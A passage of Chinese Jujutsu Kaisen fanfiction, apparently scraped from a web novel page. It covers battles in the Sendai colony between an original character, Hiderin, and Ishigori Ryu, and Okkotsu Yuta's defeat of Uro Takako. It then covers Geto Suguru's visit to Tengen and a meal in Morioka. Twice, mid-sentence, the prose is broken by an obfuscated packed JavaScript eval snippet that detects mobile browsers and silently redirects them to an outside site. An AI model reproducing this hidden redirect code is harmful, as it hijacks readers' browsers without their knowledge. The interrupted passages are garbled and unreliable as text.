这就是雷切的特殊性,它的反击不会因为受击力量的大小而改变,就算是五条悟想要毁灭世界,只要他用的是【无下限咒术】的力量,雷切同样可以生效。不过能生效是一回事,有没有本事在被【无下限咒术】轰成渣滓之前做到那就是另一回事了。 雷切刀尖上的闪电纹路亮了起来。 日照背后的空间扭曲,他感受到自己像是变成了被不可抗力旋转蓄力、亟待弹射的东西。乌鹭亨子捕捉了他所在的“天空”,却在准备发射【宇守罗弹】的瞬间被乙骨忧太击飞了出去。 身后的扭曲消失,日照没有再管。 “藤原的后人......”乌鹭亨子目眦欲裂,不论哪个时代,藤原家的人都在妨碍她! 有日照帮忙,乙骨忧太就可以专心对付乌鹭亨子。他向后看了一眼,如果刚才石流龙的攻击没有被挡下,他们的战斗很可能会波及到有普通人在的体育馆。他在来找乌鹭亨子之前已经让里香保护体育馆里的人了,所以现在乙骨忧太要在没有里香的前提下击败乌鹭亨子。 第一次体会到被自己的攻击打中的石流龙从一片断壁残垣中站了起来,擦去嘴角的血迹。 “这样也好,”他看着毫不躲闪、跨过无数建筑径直冲过来的日照,“你可千万别让我失望!!” 极微小的雷电在日照手中的刀身上闪过。 石流龙没有选择继续使用术式,他还不清楚那柄刀能够反弹的是“咒力输出”还是他的术式。 “来啊!!”他没有用咒力包裹拳头,而是选择用肉身试探。 面对锋利的刀刃,石流龙看准距离准备极限躲避,再挡开他的手—— 石流龙与日照之间的距离有近乎三米,成年人的手臂长度加上身为胁差的雷切的长度不到两米。按理说,只要石流龙在日照挥斩时留出足够的躲避空间,他甚至不用避开他的刀路。 有雷击痕迹的刀尖从石流龙的身前划过,他裸露的皮肤出现了麻痹感,好似有噼里啪啦的电流被传递到了他的身上。 “!!” 血色的切口深入肉|体,石流龙的胸前被切开了一道深深的刀口。 雷切上很干净,没有任何血迹残留。 那个距离......为什么他的刀能够砍到我!?石流龙疑惑极了,他明明看着那柄刀离自己还有一定距离,却还是伤到了他。如果不是在感受到电流的瞬间下意识用咒力强化了身体,此刻的伤口会更严重一些。 日照没有给他反应的时间,抬脚将人踹飞了出去。 石流龙稳定重心,重新在头顶聚集咒力。这次他没有使用术式,而是单纯地进行咒力放出。只有他能够做到无论是否使用术式都能发出同等水平的攻击。 他看到了自己想看见的东西。日照这次没有选择使用手中的刀,而是单脚狠狠踏地,地面应力凹陷,龟裂的纹路向四周蔓延。无形的空间在他周身展开,在咒力洪流经过的时候,消除了一切含有咒力的攻击。 石流龙同时发起了多道攻击,日照没有继续使用术式,想要选择通过走位来躲避,但发现这些攻击在石流龙的控制下可以自由转弯,遂而转身应战。 “拿出点激情来啊,”石流龙继续发起进攻,他可不想再在只能吃到八分饱的餐桌上浪费时间了,“给我来点甜品吧!!” 一个晃神间,日照的身影在他的视野中消失了。 裹挟着雷电的刀刃已近在眼前。 石流龙怀疑日照手中的那柄刀有一节“看不见的刀刃”,虽然咒具表面裹挟咒力的部分和肉眼可见的长度完全重合,但刚才日照的确用它跨越了不小的距离击中了他。 近身肉搏刚开始,石流龙就发现这个青年十分精通格斗技巧。而且最大的问题还是他的这个咒具,怪不得他对它情有独钟,就算不爱使刀的人见了也会想要拥有一把这么好用的武器。 神秘、强大。难怪每个时代都有人花大价钱收集这些咒具,看着确实眼馋得很啊! 日照每一次挥刀都开始附加带有雷电特性的咒力,石流龙用咒力构筑的防御开始破溃,刀击中的地方被麻痹了。 石流龙将用于防御的咒力尽数撤掉,凝聚在拳头中。 “接招!!”石流龙大笑着,抓住日照的破绽,穿过他的防御击中了他的腹部。 日照干脆放弃了防御,同样灌输全力在刀上。 紫色的雷霆在两人所在的位置爆发,纯粹力量的对轰让他们两败俱伤。石流龙倒飞出去,胸腹的衣物连带着部分血肉都被强劲的电流击穿,散发着难闻的焦糊味。日照这边同样不好受,他结结实实地挨了石流龙的一拳,哪怕有咒力强化,里内也变得乱糟糟的了。 用反转术式修复了伤处,日照抬眼看向发型微乱的石流龙。 “喂喂,我还没表达不满,你怎么先开始生气了啊?”他从兜里掏出一支烟叼在嘴里,点燃吸了一口。 “行了,之后我自己来吧。”日照抬手拍了拍身上的灰尘。 石流龙:“你在说什么?” “你这发型好潮啊,”日照举起雷切看了看,“比你所在的时间来说。” 被打傻了吗?石流龙吐出一口烟。这牌子的香烟吸完之后带着些许香甜。 “我的第一次人生只是‘八分饱’,曾经跟有骨气的家伙战斗过,邂逅过美丽迷人的小姐。老实说,要问我的人生有没有遗憾,似乎并没有。” 他摆摆手,将眼前的烟雾挥散:“但这种笼统、模糊的渴望才是最麻烦的。所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137749|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都觉得‘既然如此你还有什么不满的’,但是我的人生里......没有甜品。” 日照将刀扛在肩头:“你说完了?” 石流龙吸了最后一口,然后将烟头仍在脚边踩灭:“你能成为我的甜点吗?” 日照皱起眉头,嫌弃地笑道:“需要我给你推荐几家甜品店吗?” 无论多么高级、美味的蛋糕店,在每天即将关店时那已经变得稀稀拉拉的展品柜,看了就让人毫无食欲......要问他的人生有什么不满? 石流龙抬手,以手指的方向引导即将发起的攻击:“冰沙冲击波。” 正因为没有被满足,所以才不满啊!! 右眼已经观察到了咒力的流动,这一击不是单纯的咒力放出,而是使用了术式发起的攻击。 刚才两败俱伤的对拼正好将“千鸟”积攒的力量用尽,现在是“雷切”。日照劈开了咒力大炮,但石流龙在攻击发出的瞬间就开始移动,想要以此规避反击造成的伤害。 可惜他失策了,雷切发起的反击会针对术师本人,而不是依照攻击来时的方向反弹。 “你可以管它们叫雷切,”日照指尖拂过刀刃,雷击的痕迹又亮了起来,“也可以叫千鸟,因为这是一体双生的特级咒具。能够反弹一切由术式造成的攻击的雷切,和具有雷电之力的千鸟。” “想要公开就说得再明白一点啊,”石流龙擦掉嘴角的血迹,“所以说你们现代术师都太无聊了。” 日照耸肩摊手:“要说明白需要费很多口舌,你大概理解一下吧。” 在雷切状态下反击时会收集咒力,当储存的咒力接近极限后,就可以切换为千鸟。这个特级咒具传说是战国时代名将立花道雪使用过的武器,原为大太刀,后来磨制成了胁差。千鸟状态下,它会恢复到接近原本的长度,多出的部分是无形的。 石流龙注意到他手上的刀又开始缠绕上了电流。看来又变成了第二状态,必须避开无形刀刃的攻击范围。 “喂喂,”五道单纯的咒力攻击分散放出,石流龙双手比枪指向日照,“变得更甜一点吧!!” 日照原地蓄势,刀尖上的雷击痕迹愈发耀眼:“都说了——” 他迎着石流龙的攻击逆行而上,环绕在千鸟身上的雷电直接劈开了咒力光束,张狂笑着吼道:“——我可不是甜点啊!!!” 他们战斗的余波甚至传递到了乙骨忧太和乌鹭亨子这边。 真夸张啊......他们不约而同地在心中想道。那两个人都是破坏狂,攻击范围广的同时打起来又高调得很。 乌鹭亨子的术式克制比较单一的攻击手段,比如石流龙那种咒力放出,必须得用一些特别的攻击方式才能避免被她用术式躲开。 乙骨忧太继续发起攻击,单纯地用体术和乌鹭亨子进行对拼。乙骨忧太的身体力量并不算强悍,基本依靠咒力强化来增强进攻的伤害。他这种看似莽撞的攻击迷惑了乌鹭亨子,一直没有碰过的刀终于被拔了出来。 他像日照一样原地蓄势,恐怖的咒力被注入刀中。乙骨忧太知道一次性在容器中灌注太多咒力的话会加速容器的损坏,但如果凭这一击就能击溃对手的话,舍弃一把普通咒具并不是亏本的买卖。 来了!!乌鹭亨子抓住身边的“天空”,等待着乙骨忧太的进攻。长刀挥过,炸开的咒力洪流向乌鹭亨子席卷而来。单看气势,几乎和石流龙的术式不相上下了。 “就等你这招呢!!藤原家的!!” 乌鹭亨子恨极了那些高高在上的名门弟子,就连“乌鹭亨子”这个名字都是为了推她出去顶罪才丢给她的东西。操纵“天空”的术师扭曲了自己周身的空间,在乙骨忧太的咒力流入被她提前规划好的轨道之前,乌鹭亨子看到站在屋顶的少年捂住了自己的下半张脸。 手拿开,蛇眼与獠牙的纹路出现在了乙骨忧太的脸和舌头上。 是咒言!!?乌鹭亨子立刻用手捂住耳朵,想要赶在听见蕴含着咒力的语言之前,用自身的咒力堵住耳朵。 “不许动!” 咒言击溃了乌鹭亨子用来防御的咒力,她的身体顿时动弹不得。 乙骨忧太刚才的攻击已经来到了乌鹭亨子眼前。 咒言的术式效果还没有结束,乌鹭亨子只能眼睁睁看着乙骨忧太的攻击击中自己,而他本人也已经来到了她身后,将她从天空击落。 乌鹭亨子狼狈地从地上抬起头,面容扭曲:“永远都是你们在妨碍我!!” 乙骨忧太拔下两根头发向前扔出,头发变化成了两个小里香的样子飞向乌鹭亨子。 她扯动身边的“天空”将两个小里香模样的式神甩到地上,一脚碾碎它们:“你们就那么怕我出人头地吗!!” 她原本没有名字,是隶属于秉持“灭私奉公”宗旨、活在阴影里、直属藤氏的暗杀部队日月星进队的一员。赋予她名字的那个家伙,为的是让她给犯下屠戮同族大罪的自己顶罪!! 但是现在又怎么样!!她开启了自己的第二次人生,而那些人早就不知道死在哪里了!!她曾被“灭私奉公”困住了一辈子,但是现在一切都不一样了!! 就在她准备应对乙骨忧太的下一次进攻时,忽然出现在她周围的、以轨迹变成的领域在她身上留下了无数道伤口。 这是!?多鲁布的术式!?为什么乙骨忧太会用多鲁布的术式!? 做好事不留名的鹿紫云一蹲在体育馆的顶上,百无聊赖地等着那边的战斗分出胜负。日照用一次使用【幻兽琥珀】的机会换鹿紫云一帮他将多鲁布身体的一部分送到了体育馆,里香吞下之后,乙骨忧太就完成了对多鲁布术式的复制。 在乌鹭亨子受创之际,乙骨忧太再次冲上去将她击飞了。 19. 融化的初心 被击飞的乌鹭亨子正巧和石流龙撞到了一起。 日照对追过来的乙骨忧太说道:“乙骨同学,你是故意的吗?” 乙骨忧太无奈:“请你不要再逗我了日照先生......” 双方站定,石流龙甩着被裹挟着雷电的咒力击中而变得麻木的手掌:“别来碍事乌鹭!!这边才刚刚火热起来啊!!” “闭嘴!!”乌鹭亨子怒从心起,准备两边一起打。 乙骨忧太手中的刀在刚才已经碎裂,所以他现在开始只能用拳头进攻:“我不知道自己的祖先对你做过什么,但如果人只为自己而活,早晚会到达极限的。” 他真诚地说着,但就是这种理所当然的“我很了解你”直接让乌鹭亨子脑海中的那根弦崩断了。属于上位者的、高高在上的说教,她上辈子就受够了!! “应该为他人而活,没必要非得去出人头地,会这样高谈阔论的永远都是站在高位的家伙!!” 随着她的暴怒,周围的空间以她的双手为中心开始扭曲。 “封建家族害人不浅,这次结束之后让我们一起把御三家掀翻吧!”日照高举双手鼓掌赞成。 怎么把五条老师家也算进去了啊......乙骨忧太悄悄吐槽。 混战的一角,咒力悄然发生了变化。所有人都察觉到了这微妙的变化,千锤百炼而成的战斗经验让他们瞬间改变了策略。 石流龙昂首,脸上叠起了战意满满的兴奋:“啰里八嗦的吵死了!都到这个地步了还想着打嘴仗!” 来靠这个进行最后的一锤定音吧!! ——领域展开! 石流龙、乌鹭亨子、乙骨忧太同时比出了各自的手印。 日照早在察觉到即将进入领域战的时候就准备溜之大吉,他说他不擅长结界术是真的:“交给你啦乙骨同学!!” 漆黑的领域在各自身后显现,乌鹭亨子和石流龙已经观察到日照退出的动作。日照和乙骨忧太是同盟,为了不让乙骨忧太掌控这段时间的主导权,就不能放日照进入结界,在这一方面乌鹭亨子和石流龙利害一致。 同时展开的多个领域发生碰撞时,领域的必中效果会相互抵消。为了阻止日照,他们不约而同地调整了结界对外和对内的构造条件,减弱了结界对内的强度以换取杜绝从外部闯入结界的可能性。 谁也不知道三个领域对撞会发生什么事情,复数领域的结界之间又是如何博弈的。 日照落在附近的屋顶,看着黑色的结界将他们三人包裹了进去。他的右眼观察到领域生成的地方产生了剧烈的咒力波动,因为构造条件差异而本就非常不稳定的结界很快就濒临崩溃。 “......刚才是不是窜进去什么东西?” 星海难得回应了他:“那只臭虫子还没死啊。” 日照起了一身鸡皮疙瘩。他把星海丢出来应付黑沐死的原因就是它脸上那六根长长的触须真的很恶心,日照讨厌虫子。 作为泳者的黑沐死已经死去,但它能通过单性繁殖留下子嗣,在沉眠的时间里它完成了孵化。母体被祓除,孩子则瞬间继承了来自所有人因恐惧和厌恶而产生的诅咒,现代的黑色恶魔作为特级咒灵再现于世。 黑沐死的闯入推动了领域的崩溃。结界破碎,四道身影回到了现实世界。 石流龙第一时间寻找日照的下落,而乌鹭亨子被克制自己的黑沐死吸引了注意力。乙骨忧太没有放过这个机会,他将乌鹭亨子击落。 日照没有选择靠近他们,最大的原因就是他对黑沐死实在有生理性的厌恶。见日照不准备插手,石流龙也盯上了乌鹭亨子。 乌鹭亨子和黑沐死先抵达地面,刚刚重新降生的咒灵选择距离最近的她作为攻击对象,挥舞着烂生刀迅速逼近。 乌鹭亨子下意识地扯动周围的“天空”,当她意识到自己已经处于术式熔断期的时候,再进行躲避就来不及了。 黑沐死的烂生刀砍到了她的大臂,无数充满咒力的蟑螂虫蚁从伤口中喷涌而出,直接咬断了她的胳膊。 “我喜欢!铁的味道!!”黑沐死本能地嘲笑着自己的猎物,甚至开心到想要手舞足蹈。 乌鹭亨子知道其他人都隐隐将她作为率先出局的人进行围攻,没有了术式她的确有些难以招架。至少先把断臂拿回来—— 乙骨忧太当着她的面一脚将断臂踢飞,防止她使用反转术式修复伤口。显然乌鹭亨子无法让自己断臂重生。 “嘁!!藤原!!” 石流龙点燃一根香烟,双手向后整理自己的发型:“够了乌鹭,你就乖乖退场吧。” 哪怕处于术师熔断期间,石流龙依旧能够放出与使用术式时威力相同的攻击。恐怖的咒力输出直击乌鹭亨子,边缘波及了黑沐死和乙骨忧太。 这个黑沐死和母体终究还是有一些差距,看上去并没有继承战斗经验。被石流龙的咒力大炮削掉了半边身子,一只手摁住了黑沐死的头。乙骨忧太将正极能量直接向外输出到最接近黑沐死大脑的位置,用对咒灵来说致死量的正极能量灌死了它。 石流龙有点打上头了,直接邀请乙骨忧太和日照一起上:“来吧!快点一起入席吧!!” “日照先生。”乙骨忧太沉声道。 日照举起手后退,顺了他的意:“我知道啦。” 咒力在石流龙头顶聚集。 乙骨忧太摸了摸无名指上的戒指。他的女孩回应了他。 “来吧,里香,”他的身后,巨大的白色式神显现了出来,“要全力以赴了。” 乙骨忧太庞大的咒力量同样可以支持他像石流龙一样进行咒力放出,不过这是只有在里香完全显现的5分钟内才能做到的事,而且最大输出量仍不及石流龙。 “喂喂,这不是超SWEET的吗!!!” 乙骨忧太知道自己的劣势,他和里香在咒力爆发方面比不上石流龙,那就将提前积攒的咒力一次性放出,比他更快地发起进攻! 随着里香的完全显现,乙骨忧太身上的咒力陡然上升至了一个全新的高度。石流龙对日照退出战斗并不感到遗憾,因为他能清楚地感受到日照的“热情”不在战斗本身,代替日照主动入席的乙骨忧太看起来更美味一些。 他已经等待了太久,带着四百年前未曾满足的心站在了如今的战场上。石流龙的眼神炽热,乙骨忧太读懂了他真正的期待。冉冉崛起的新星不由自主地心神激荡,原本以为自己从未、未来也不会找到的战斗的理由,在这一刹那如有实质,展现在了乙骨忧太的眼前。 祈本里香的灵魂已经成佛,但她的意志却留在了里香的身上。在祈本里香解咒前曾短暂找到过的战斗理由在女孩消失后的一年里被慢慢消磨着,如今乙骨忧太重新找到了它。 老师和同学们给了他继续活下去的理由,现在他看着一个来自四百年前的术师的眼睛,发现了战斗的激情。 里香的蓄力早已完成,但他没有选择先发制人。 石流龙抬起手邀请,乙骨忧太回应了他。此时他们变成了对方的甜点,即将进行一场“共餐”。 “哦!你醒了啊。”主动退场的日照找到了刚刚清醒过来的乌鹭亨子。断掉了一条手臂的古代术师靠坐在墙边,咒力见底,知道自己没有继续战斗的可能性,所以干脆地放弃了挣扎。 “你要分数的话拿走就好了。”她看着远处石流龙和乙骨忧太的咒力对轰随口说道。 日照毫不羞耻地拿走了她所有的分数。 “......先走到极限的只会是你们。”乌鹭亨子看到里香和乙骨忧太在第一次咒力放出对决后开始分头行动,石流龙和乙骨忧太继续对轰,里香则从侧面接近了石流龙。他的身后有自己的断臂。 “啊?”日照摸着脖子,半天才明白过来乌鹭亨子是在反驳乙骨忧太说她只为了自己是走不远的:“你看起来好像误会了什么,我个人是很赞成你的说法的哦。” 石流龙单手接下乙骨忧太单人放出的咒力,极具爆发力的咒力输出让里香被石流龙砸了出去,与此同时乙骨忧太的第三发进攻也准备就绪。 “我曾经亲眼见识过,”乌鹭亨子闭上了眼,那道恐怖的身影就浮现在了她的脑海里,“拥有绝对自我,不会分神于其他的,灾祸。” 第三次咒力对轰结束,石流龙从术师熔断期中恢复,他判断乙骨忧太同样应该也恢复了术式。但是经历连续的战斗、领域展开、咒力对轰,就算是你也应该维持不了原本的水平了吧!? 接下来的就是最后一击!!作为今晚的最后一餐!! “冰沙冲击波!!”石流龙挤出体内最后的咒力,发动了术式。咒力的光束已经发射,乙骨忧太冲到了他的眼前。 “你说两面宿傩?”日照拄着雷切蹲下,乌鹭亨子用“那还能有谁”的表情对他翻白眼。 灾祸不用对死亡负责。如果自己的亲人死于天灾,没有人会想要找天灾复仇。两面宿傩被冠以灾祸之名,连死亡也遵循了自然的规律。日照知道他是老死的,死后制成的二十根手指咒物肯定就是羂索的手笔了。 “那你说,”日照一手托着腮帮子,“宿傩自由吗?” 石流龙的“冰沙冲击波”在乙骨忧太的面前拐出一个直角,径直冲上了天。当石流龙反应过来乙骨忧太使用的竟然是乌鹭亨子的术式时,已经来不及了。里香和乙骨忧太一套组合拳加【宇守罗弹】完美击中了石流龙,来自四百年前的术师回以最后的强力一击。 里香接下了石流龙的最后一拳,五分钟的显现时间已到,白色的高大式神只能嘟囔着乙骨忧太的名字率先离场。 “我都不知道!!在用尽所有力量之后居然还能有这样的感觉!!” 石流龙此生第一次如此畅快的大吼,这才是他梦寐以求的甜点啊!! 乙骨忧太绷着脸拽住了石流龙的衣服,手臂和双腿将他卡在了原地,用力将石流龙向下压去:“到此为止了。” “啊!?” 被乙骨忧太改变了轨迹的“冰沙冲击波”的确冲向了天上,但全新的轨迹由乙骨忧太设定,这个冲击并非无限向上,而是经过一定距离的移动后又重新竖直落下。 被死死困在原地的石流龙只能迎头吃下了来自自己的“冰沙冲击波”:“这是、我的......” 乙骨忧太松开了手,石流龙倒地不起。 “对女孩子要温柔一点啊。”他还记得里香被打中的时候说了一句好疼。 “承蒙款待,”四百年前不曾满足的术师终于有了饱腹感,石流龙笑着说,“我吃饱了!” “你说的那是什么鬼话?” 鹿紫云一重重落在日照身边的地面上,单眼青年嫌弃地拍开飞到这边的碎石块。 日照撇过头问他:“你见到宿傩的话,有什么想说的?” 鹿紫云一好好地思考了一阵,乌鹭亨子在此期间已经迅速离开了这里。 “旁人于强者而言不过是脆弱的土偶,认识到了人之软弱,强者又该如何与他人相交?又如何能做到慈悲待人?” 他一转头,看见日照大张着嘴巴、表情扭曲地盯着他。 “......臭小鬼你那是什么表情!?找打吗!?” “不是,只是很难想象你居然还是个会思考这些问题的人......”感觉像是一头水牛突然站起来摆起健美pose一样离奇。 鹿紫云一忍了又忍:“你就没感觉过孤独吗?” 日照半开玩笑地说:“饶了我吧,我可没有你们那么变态。” “真稀奇,”鹿紫云一说,“你居然不会觉得孤独吗?” 日照站起身,远处的乙骨忧太正注视着他们所在的方向。他将雷切收好,低着头俯视鹿紫云一:“所以说,你们真的很奇怪。” 露出来的黑色眼瞳透着冰冷的清澈,漩涡一样吸引着注意力:“明明知道自己是不同的,却选择回头找人陪你们玩?” 鹿紫云一将自己从日照的眼睛里拔出来,看向了乙骨忧太。 “你不是现代最强的术师吗?” 日照哈哈大笑:“我说的就是你们啊!” —— 2018年11月9日,东京高专,17时34分。 夏油杰走在通往薨星宫的参道上,中途路过忌库时停留了一会儿。当年弥山从这里拿走了星海的双眼,那剩余的尸体又被存放在哪里了呢? 想到这里,他攥紧了拳头。他和悟当年什么都不知道。 “你到了没有啊?走快点啊~跑起来!” 夏油杰叹了口气,回道:“我已经到了,但是天元大人看起来并不想见我。” 天元拒绝了和夏油杰的会面。祂现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137750|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该和九十九由基在一起,夏油杰明白祂不愿意开放薨星宫的理由。 “真是的,都要火烧眉毛了还想当阿宅吗?哦对了,天元有没有眉毛来着?” 五条悟大概只有声音变得成熟了一些。声音经过电子传输的失真模糊了年龄,单从他说的这些话来看,说他只有十七岁都觉得太成熟了。 “好歹给我点有用的帮助啊,”夏油杰环视着这个位于高专地下的地下空间,“弥山和忧太那边怎么样?” 五条悟那边传来嘈杂的水流声,似乎他正站在巨大的瀑布下面,声音也变得断断续续:“我这边还没那么快,忧太留在仙台了,弥山的话大概是往北走了吧?” 夏油杰能听到那边偶尔传来的方言,但是声音太乱,不知道究竟在说什么:“等你弄得差不多了我再和弥山谈吧。” “那就交给你啦~” 五条悟的声音欢快极了,似乎就在等夏油杰说这句话。 挂断电话,夏油杰站定。无声的对峙在薨星宫前展开,在天元的空性结界幻化出的房间中,九十九由基没有继续和祂讨论星浆体的事情。 “你准备就这么晾着他?看他那副样子也不像是会轻易放弃的人。如果他要对你动手早就闯进来了,况且日照弥山还活着,你又在怕什么?” 夏油杰已经将薨星宫外变成了自己家的客厅,有各种奇形怪状的咒灵充当沙发和茶几,胖胖的咒灵在旁边挥着小翅膀端茶倒水。 天元的每一个举动在九十九由基眼中都不明其意。在这几天的相处中,九十九由基已经充分且明白地将自己对天元的不满传达给了祂。 “你还能听到那些孩子们的声音吗?”不死的术师将自己的空性结界幻化成了一个看起来非常温馨的传统和室,有温暖的被炉、永远冒着蒸汽的茶水、摆在橱柜上的狸猫玩偶,甚至透过纸窗还能看见挂在房檐上的晴天娃娃的影子。 “......” 身为星浆体的九十九由基当然能够听到曾经与天元完成同化的孩子们的声音。事到如今天元才想知道那些孩子们想说什么,但九十九由基偏不告诉祂。 “你为什么选择让日照弥山来帮你?就算你能靠他度过这五百年,但下一个同化周期到了,你依旧需要星浆体。只要你还保持这副模样,羂索迟早会等到机会。” 天元自己和她说过,在“天元”、“六眼”和“星浆体”之间有因果相连。羂索曾败给六眼术师两次,第二次他甚至在六眼和星浆体出生后的一个月内就将他们都杀掉了,但同化当天还是有新的六眼和星浆体出现在了薨星宫。 这一次因果的轮回中出现了几个变数。其一是禅院甚尔,他完全脱离了咒力,因为咒缚的力量得以跳出三位一体的因果。其二是夏油杰,百年难得一见的术式【咒灵操术】居然在同化期出现了。其三是日照弥山。 如果说禅院甚尔和夏油杰的存在让羂索无意中凑齐了除了封印无法击败的六眼所需的狱门疆之外所有的必要条件,日照弥山就是他理想计划中最大的变数。他和羂索计划中最重要的两环都有联系,他的术式取代了星浆体的作用,因此所有人的命运都被改变了。 被延长的生命为贫瘠的土地重新引入甘霖。三年,那不是日照弥山术式的极限,但却是禅院甚尔能给出的全部代价换来的最长的时间。虽然之后很快就自暴自弃重操旧业,但为了还恩还是很有职业操守地开始给五条家打工。当然,是有薪水的那种。 同化开始最后两天的护卫任务并非是为了“将星浆体送至薨星宫抹消”,而是从被盘星教和羂索雇佣而来的诅咒师手里保护一位无辜少女。只是可惜,天内理子逃脱了属于星浆体的命运,却还是卷入了羂索的阴谋中。 “只是赌这一次人类能够取得胜利而已,”天元的四只眼睛没有瞳仁,九十九由基也不知道祂现在到底看着什么地方,“我的衰老速度在加快,率先脱离因果的应该就是‘天元’。在下一个六眼和星浆体诞生之前,我就会完成进化。” “与星浆体同化只是年岁的虚长,我的进化已经停止了。但是毕竟我无法确保继续进化是否会成为人类的祸害,为此犹豫踌躇了数百年。就像四季轮换更替一样,现在只是自然地接受了。” 如果人类能够度过这次由羂索带来的危机,天元将放弃与星浆体同化,转而继续追求自我进化。或许最初祂就是为了进化才选择走上如今这条道路,现在看来也不过是“找回了初心”而已。 九十九由基灌下了一杯茶。空杯落回桌上时发出了很大的响声,她的眼睛里是全然的愤怒:“岂有此理。” “事到如今你才能理性地看待这些?那擅自赋予那些孩子们本不应该承受的使命,又对他们的生命加以利用的这段历史又算什么呢!?” 既然有脸称自己是全知的术师,就好好地把这些事情都想清楚啊!! “而且你现在这又是在搞哪一出?”九十九由基指的是夏油杰。她曾经在夏油杰成为特级术师的那个夏天去找过他,当时也提到过有关人类的未来。她不觉得夏油杰会选择和羂索同流合污,至少在九十九由基看来,夏油杰是坚定的“不逃避派”。 简而言之,就是夏油杰不会选择看起来更轻松的那条路。也许当时的他还没有思考过让全人类脱离咒力、让非术师拥有咒力之类的问题,但面对九十九由基的假设,夏油杰和五条悟选择了另一条路。 她还记得夏油杰说的话。 “也许在九十九小姐你的眼里,高专这样的行为是治标不治本吧......如果有一劳永逸的方法,叫我豁出命去做我也非常乐意。但这些浮于眼前的问题总要有人去解决,你不做,自然有人要来做。” 他眼下是因为忙碌而泛起的青黑,但他还是语气平淡地和九十九由基谈起了自己和挚友准备做的事。 “夏油同学,我说的话在你眼里是不可能实现的妄想吗?” “不,我觉得九十九小姐说的两种方法都有实现的可能性,”急促地手机铃声响起,催促着他们尽快完成这场对话,“但是,我们谁也没有找到合适的方法不是吗?” 在夏油杰摁下接听键之前,他对九十九由基说:“如果九十九小姐确定了自己前进方向的话,就请继续坚持下去。这样我和悟也能轻松一点吧?” “......” 天元打开了薨星宫的门。 20. 献祭 日照在离开仙台结界前一共拿到了75分,包括从乌鹭亨子那里转移过来的,还有杀死黑沐死时得到的5分。仙台再往北就是岩手结界,更北边在青森一带还有一个结界。 “这是哪?” “盛冈城迹公园啊,刚才进来的时候不是看到标牌了吗?老花眼了吗?” 公园里的红枫树叶都掉光了,只有零星几片还挂在树顶。岩手结界的边缘就在盛冈市北边,他们可以在这里好好修整一下。 鹿紫云一看着脚下的青砖,又看向远处有着宽阔河堤的中津川。对面有几栋高楼,看起来像是公寓。 “五条悟和宿傩谁更强?” 日照翻着手机,关掉Twitter打开了LINE:“怎么?你准备换个人挑战吗?” “算了,问你十句话也得不到一个答案,”鹿紫云一用咒力击碎了一只古怪的乌鸦,“等他们打起来就知道了。” 日照看了一眼乌鸦的尸体:“你觉得自己是挑战者?” “在我那个时代,宿傩已经是传说了,但是六眼和【无下限咒术】的持有者可不是。” “你出生的那会儿,六眼和十影的御前比试已经发生了?” “大概是我六七岁的时候的事吧。” 日照提起了点兴趣:“你还记得什么吗?尤其是十影的式神。” “那谁还记得啊!怎么,你还对十影感兴趣吗?” “现在有觉醒了十影术式的术师哦,只不过还很稚嫩就是了,”日照说,“要说兴趣,我对魔虚罗的兴趣更大一些。” 鹿紫云一觉得没意思:“还是小鬼啊......” 六眼和【无下限咒术】持有者再怎么强,也还是和十影术师同归于尽了。但两面宿傩可是寿终正寝,在鹿紫云一看来似乎还是宿傩更胜一筹。 “宿傩的容器很优秀,除非羂索还有什么后手,你就别想着和宿傩比试了。”日照劝他趁早放弃挑战宿傩的想法。 “话别说得太满,”鹿紫云一自负地笑着说,“他不会甘心只在容器的身体里看着的。” 日照耸耸肩:“那我只能祝你好运喽。” “你这家伙肯定会死得很无聊。” “在说你自己的死法吗?” 日照手上没有闲着,他从网上推荐的帖子里找到了几家有名的盛冈冷面店,正好现在快到晚饭时间了,他收起手机准备去市里吃面。 “盛冈冷面,走吗?” 鹿紫云一换了个方向扛着自己的棍子,两个丸子头和奇特的行为吸引了不少公园游客的注目:“走。” 离开公园前,走在前面的日照受鹿紫云一的启发,开始思考两面宿傩和羂索联手的可能性。正如他亲眼所见,虎杖悠仁似乎天生体质特殊,不但能承受作为特级咒物的宿傩手指的毒性,而且还能主动压制宿傩的意识。这么一看,不像是一个合格的容器,反而更像是一个专门为宿傩打造的“牢笼”。 是巧合吗?两面宿傩受肉虎杖悠仁的报告日照没有看过,但五条悟跟他说的时候并没有提到什么异常情况。如果不是偶然的话...... 他们去了一家叫盛楼阁的店,不巧正赶上饭点,这家的盛冈冷面似乎很受欢迎,要排上至少一个小时才有空位。最终他们在商业街里找到了一家不用排队的店。在等着冷面的过程中,鹿紫云一又开始找话题聊天。 “你和你身体里那个是什么情况?” “那你要问羂索做了什么好事。” 鹿紫云一了然地点了点头,果然跟羂索有关系。 他们的冷面和烤肉被端上桌的时候,店外突然传来了很吵闹的声音。轰隆隆的巨响似乎是从他们的正上方经过,商店街外有不少人聚集在街道边仰头向天空中看去。 “直升飞机?” “这又是在做什么?” “往结界那边去了......” 日照和鹿紫云一不用出去就能听到围观的人在说什么。从声音上来看,刚才从盛冈市正上空至少飞过去十几架直升飞机。 盛冈地区的冷面非常有名,在商店街附近闲逛的话,一路上能看到无数家冷面店。与隔壁国家的特色冷面不同,盛冈这边的冷面不会那么甜,多了一些咸香。日照放在桌子上的手机响了两声。 他单手吃面,另一只手点开手机。 